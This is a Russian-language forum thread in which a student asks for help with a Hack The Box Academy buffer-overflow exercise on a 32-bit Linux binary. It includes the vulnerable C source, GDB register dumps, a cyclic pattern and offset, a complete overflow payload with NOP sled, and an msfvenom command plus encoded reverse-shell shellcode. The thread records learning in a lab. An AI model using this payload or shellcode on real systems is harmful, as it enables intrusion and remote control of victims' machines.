1. Если вы только начинаете программировать на ассемблере и не знаете с чего начать, тогда попробуйте среду разработки ASM Visual IDE
    (c) на правах рекламы
    Скрыть объявление

как узнать размер стека

Тема в разделе "WASM.RESEARCH", создана пользователем addedie, 27 ноя 2020.

Метки:
  1. addedie

    addedie New Member

    Публикаций:
    0
    Регистрация:
    14 авг 2019
    Сообщения:
    21
    есть такая задачка
    Submit the size of the stack space after overwritting the EIP as the answer. (Format: 0x00000)

    я эксплуатирую переполнение буффера в Linux в GDB

    вот так выглядит пайлоад совсем остальным

    Buffer = "\x55" * (1040 - 124 - 95 - 4) = 841
    NOPs = "\x90" * 124
    Shellcode = "\xda\xca\xba\xe4\x11...<SNIP>...\x5a\x22\xa2"
    EIP = "\x66" * 4'

    задача в том чтоб потом гдето посмотреть то что мне нужно.

    я делал вот так: (gdb) x/2000xb $esp+550
    и там вот так
    0xffffd79a: 0x77 0xa4 0x3d 0xe8 0x7c 0x7b 0x3d 0x66
    0xffffd7a2: 0x66 0x66 0x66 0x00 0x4c 0x53 0x5f 0x43


    0ч66666666 эт окусок нагрузки

    вот регистры
    eax 0xffffd395 -11371
    ecx 0xffffd1b0 -11856
    edx 0xffffd1d4 -11820
    ebx 0x56556fd4 1448439764
    esp 0xffffd174 0xffffd174
    ebp 0xffffd178 0xffffd178
    esi 0xf7fc2000 -134471680
    edi 0x0 0
    eip 0x56555551 0x56555551


    как узнать то мне нужно?
     
  2. njeen

    njeen Active Member

    Публикаций:
    0
    Регистрация:
    26 мар 2017
    Сообщения:
    127
    Адрес:
    Ташлинск
    Если я правильно понимаю, задача состоит в определении размера буфера и смещения, по которому располагающееся значение перезапишет адрес возврата.
    Типичный способ - генерирование последовательности Де Брёйна, скармливание полученной строки программе, получение из eip значения, и получение по этому значению смещения перезаписи eip. В качестве инструмента можно использовать radare2.

    Сначала нужно сгенерить последовательность. Пусть будет длина 200:
    ragg2 -P 200 -r > pattern.txt

    Значение шаблона, разумеется нужно , чтобы попало в буфер.

    Далее нужно добыть значение, которое лежит в верху стека , когда программа пытается сделать ret.
    В gdb это можно сделать так:
    - выполнить команду
    (gdb) info frame

    Там нужно значение из saved rip (пусть это будет 0x414b41414a414149). Берем его и снова запускаем ragg2 :
    ragg2 -q 0x414b41414a414149
    Получаем значение смещения, с которого начинается перезапись адрес возврата.

    Пример - https://forum.reverse4you.org/t/radare-2/1141 , часть "Генерирование пэйлоада"
    Но вообще-то это если задачка - ты вы сами должны были это изучить.
     
  3. addedie

    addedie New Member

    Публикаций:
    0
    Регистрация:
    14 авг 2019
    Сообщения:
    21
    Код (DOS):
    1. tb-student@nixbof32:~$ gdb -q bow
    2. Reading symbols from bow...(no debugging symbols found)...done.
    3. (gdb) break bowfunc
    4. Breakpoint 1 at 0x551
    5. (gdb) run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xda\xca\xba\xe4\x11\xd4\x5d\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x12\x31\x50\x17\x03\x50\x17\x83\x24\x15\x36\xa8\x95\xcd\x41\xb0\x86\xb2\xfe\x5d\x2a\xbc\xe0\x12\x4c\x73\x62\xc1\xc9\x3b" + "\x66" * 4')
    6. Starting program: /home/htb-student/bow $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xda\xca\xba\xe4\x11\xd4\x5d\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x12\x31\x50\x17\x03\x50\x17\x83\x24\x15\x36\xa8\x95\xcd\x41\xb0\x86\xb2\xfe\x5d\x2a\xbc\xe0\x12\x4c\x73\x62\xc1\xc9\x3b" + "\x66" * 4')
    7.  
    8. Breakpoint 1, 0x56555551 in bowfunc ()
    9. (gdb) info registers
    10. eax            0xffffd3c7       -11321
    11. ecx            0xffffd1f0       -11792
    12. edx            0xffffd214       -11756
    13. ebx            0x56556fd4       1448439764
    14. esp            0xffffd1b4       0xffffd1b4
    15. ebp            0xffffd1b8       0xffffd1b8
    16. esi            0xf7fc2000       -134471680
    17. edi            0x0      0
    18. eip            0x56555551       0x56555551 <bowfunc+4>
    19. eflags         0x292    [ AF SF IF ]
    20. cs             0x23     35
    21. ss             0x2b     43
    22. ds             0x2b     43
    23. es             0x2b     43
    24. fs             0x0      0
    25. gs             0x63     99
    26. (gdb) info frame
    27. Stack level 0, frame at 0xffffd1c0:
    28. eip = 0x56555551 in bowfunc; saved eip = 0x565555af
    29. called by frame at 0xffffd1f0
    30. Arglist at 0xffffd1b8, args:
    31. Locals at 0xffffd1b8, Previous frame's sp is 0xffffd1c0
    32. Saved registers:
    33.   ebp at 0xffffd1b8, eip at 0xffffd1bc
    34. (gdb)
    35.  
    тут неиспользуется радар тут средствами GDB

    последовательность я генерил метасплоитовским патерном, смещение
    получил обрезал лишнее указав смещение в мсфвеном теперь у меня есть шел код
    и доп байтики но как в гнудебаггере получить то что тут просят так и непонял
     
  4. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.252
    Такая дичь даже при использовании вд(ядерный отладчик нт штатный) не нужна. А что это такое тут - дампы какие в полном бреду:

    Вам товарищ не OP кодить, а к психиатру. Я в гугла ось не шарю, но там ведь эмулятор, а ты пишешь про нэйтив, это дичь для линей там харда нет.
     
  5. addedie

    addedie New Member

    Публикаций:
    0
    Регистрация:
    14 авг 2019
    Сообщения:
    21
    вот както так

    Код (DOS):
    1. Starting program: /home/htb-student/bow $(python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu"')
    2.  
    3. Breakpoint 1, 0x56555551 in bowfunc ()
    4. (gdb) c
    5. Continuing.
    6.  
    7. Program received signal SIGSEGV, Segmentation fault.
    8. 0x69423569 in ?? ()
    9. (gdb) info registers
    10. eax            0x1      1
    11. ecx            0xffffd7a0       -10336
    12. edx            0xffffd183       -11901
    13. ebx            0x33694232       862536242
    14. esp            0xffffd020       0xffffd020
    15. ebp            0x42346942       0x42346942
    16. esi            0xf7fc2000       -134471680
    17. edi            0x0      0
    18. eip            0x69423569       0x69423569
    19. eflags         0x10282  [ SF IF RF ]
    20. cs             0x23     35
    21. ss             0x2b     43
    22. ds             0x2b     43
    23. es             0x2b     43
    24. fs             0x0      0
    25. gs             0x63     99
    26. (gdb)
    27.  
    28. root@gusli:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x69423569
    29. [*] Exact match at offset 1036                                                                                    
    30. root@gusli:~#
    31.  
     
  6. njeen

    njeen Active Member

    Публикаций:
    0
    Регистрация:
    26 мар 2017
    Сообщения:
    127
    Адрес:
    Ташлинск
    тогда, возможно, речь про связку gdb + peda (https://github.com/longld/peda)
     
  7. addedie

    addedie New Member

    Публикаций:
    0
    Регистрация:
    14 авг 2019
    Сообщения:
    21
    нет в курсе прокладки нету=)

    очевидно там надо просто адрес както подсчитать но я непонимаю как

    вот хинт к заданию

    Hint

    With "help info" in GDB, further hints can help to view the processes and their information.

    если что это вот эта таска https://academy.hackthebox.eu/module/31

    --- Сообщение объединено, 27 ноя 2020 ---
    вот исходник с таска
    Код (C++):
    1. #include <stdlib.h>
    2. #include <stdio.h>
    3. #include <string.h>
    4.  
    5. int bowfunc(char *string) {
    6.  
    7.     char buffer[1024];
    8.     strcpy(buffer, string);
    9.     return 1;
    10. }
    11.  
    12. int main(int argc, char *argv[]) {
    13.  
    14.     bowfunc(argv[1]);
    15.     printf("Done.\n");
    16.     return 1;
    17. }
    и вот пайлоад
    Код (Text):
    1. (gdb) run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xbd\x5f\xd0\xfc\xd1\xda\xc3\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x12\x83\xc2\x04\x31\x6a\x0e\x03\x35\xde\x1e\x24\xf8\x05\x29\x24\xa9\xfa\x85\xc1\x4f\x74\xc8\xa6\x29\x4b\x8b\x54\xec\xe3\xb3\x97\x8e\x4d\xb5\xde\xe6\x32\x45\x21\xf7\xa4\x47\x21\x8d\x5d\xc1\xc0\xc1\xf8\x81\x53\x72\xb6\x21\xdd\x95\x75\xa5\x8f\x3d\xe8\x89\x5c\xd5\x9c\xfa\x8d\x47\x34\x8c\x31\xd5\x95\x07\x54\x69\x12\xd5\x17" + "\x66" * 4')
     
    Последнее редактирование: 27 ноя 2020
  8. q2e74

    q2e74 Active Member

    Публикаций:
    0
    Регистрация:
    18 окт 2018
    Сообщения:
    704
    Да поди просто мусором затирают ret и потому он всплывает в eip, это чистый школо-експлойт.

    addedie,
    Смотри сам, у тебя на 1036 должен стоять адрес, куда ты прыгнешь. А у тебя (1040 - 124 - 95 - 4) + 124 нопа + 30 с гаком твоей полосы + 4 байта какой-то ерунды.
    Ты свою полосу дизасмить пробовал? как-то она не вяжется с таском. \хcd\x80 где? \x0f\x34? \x0f\x05?

    надо бы конечно посмотреть что за полоса, вижу что с3 есть, и возможно всё преобразится, но сейчас не на чем.
     
    Последнее редактирование: 27 ноя 2020
  9. addedie

    addedie New Member

    Публикаций:
    0
    Регистрация:
    14 авг 2019
    Сообщения:
    21
    ну такое задание непонятное, чт оя могу поделать...так и непонял че там указать.
    там же постепенно подходят к теме реализации...както так.
    ща пробую сделать вот так..

    Код (Text):
    1.  
    2. сперва ставлю бряк на bowfunc:
    3. (gdb) break bowfunc
    4. потом:
    5. (gdb) run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xbd\x5f\xd0\xfc\xd1\xda\xc3\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x12\x83\xc2\x04\x31\x6a\x0e\x03\x35\xde\x1e\x24\xf8\x05\x29\x24\xa9\xfa\x85\xc1\x4f\x74\xc8\xa6\x29\x4b\x8b\x54\xec\xe3\xb3\x97\x8e\x4d\xb5\xde\xe6\x32\x45\x21\xf7\xa4\x47\x21\x8d\x5d\xc1\xc0\xc1\xf8\x81\x53\x72\xb6\x21\xdd\x95\x75\xa5\x8f\x3d\xe8\x89\x5c\xd5\x9c\xfa\x8d\x47\x34\x8c\x31\xd5\x95\x07\x54\x69\x12\xd5\x17" + "\x66" * 4')
    6. а что дальше делать непонимаю что им нужно туда вписать в ответ....
    7. пробовал вбивать еще вот это
    8. (gdb) x/2000xb $esp+550
    9. но нифига путного там ненашел кроме своей нагрузки
    10.  
    еще и ссш постоянно отваливается
    и да еси че я генерировал веномом пайлоад он здесь и указан
    Код (Text):
    1. root@gusli:~# msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
    2. Found 11 compatible encoders
    3. Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
    4. x86/shikata_ga_nai succeeded with size 95 (iteration=0)
    5. x86/shikata_ga_nai chosen with final size 95
    6. Payload size: 95 bytes
    7. Final size of c file: 425 bytes
    8. Saved as: shellcode
    9. root@gusli:~# cat shellcode
    10. unsigned char buf[] =
    11. "\xbd\x5f\xd0\xfc\xd1\xda\xc3\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
    12. "\x12\x83\xc2\x04\x31\x6a\x0e\x03\x35\xde\x1e\x24\xf8\x05\x29"
    13. "\x24\xa9\xfa\x85\xc1\x4f\x74\xc8\xa6\x29\x4b\x8b\x54\xec\xe3"
    14. "\xb3\x97\x8e\x4d\xb5\xde\xe6\x32\x45\x21\xf7\xa4\x47\x21\x8d"
    15. "\x5d\xc1\xc0\xc1\xf8\x81\x53\x72\xb6\x21\xdd\x95\x75\xa5\x8f"
    16. "\x3d\xe8\x89\x5c\xd5\x9c\xfa\x8d\x47\x34\x8c\x31\xd5\x95\x07"
    17. "\x54\x69\x12\xd5\x17";
    18. root@gusli:~#
    19.  
     
    Последнее редактирование: 28 ноя 2020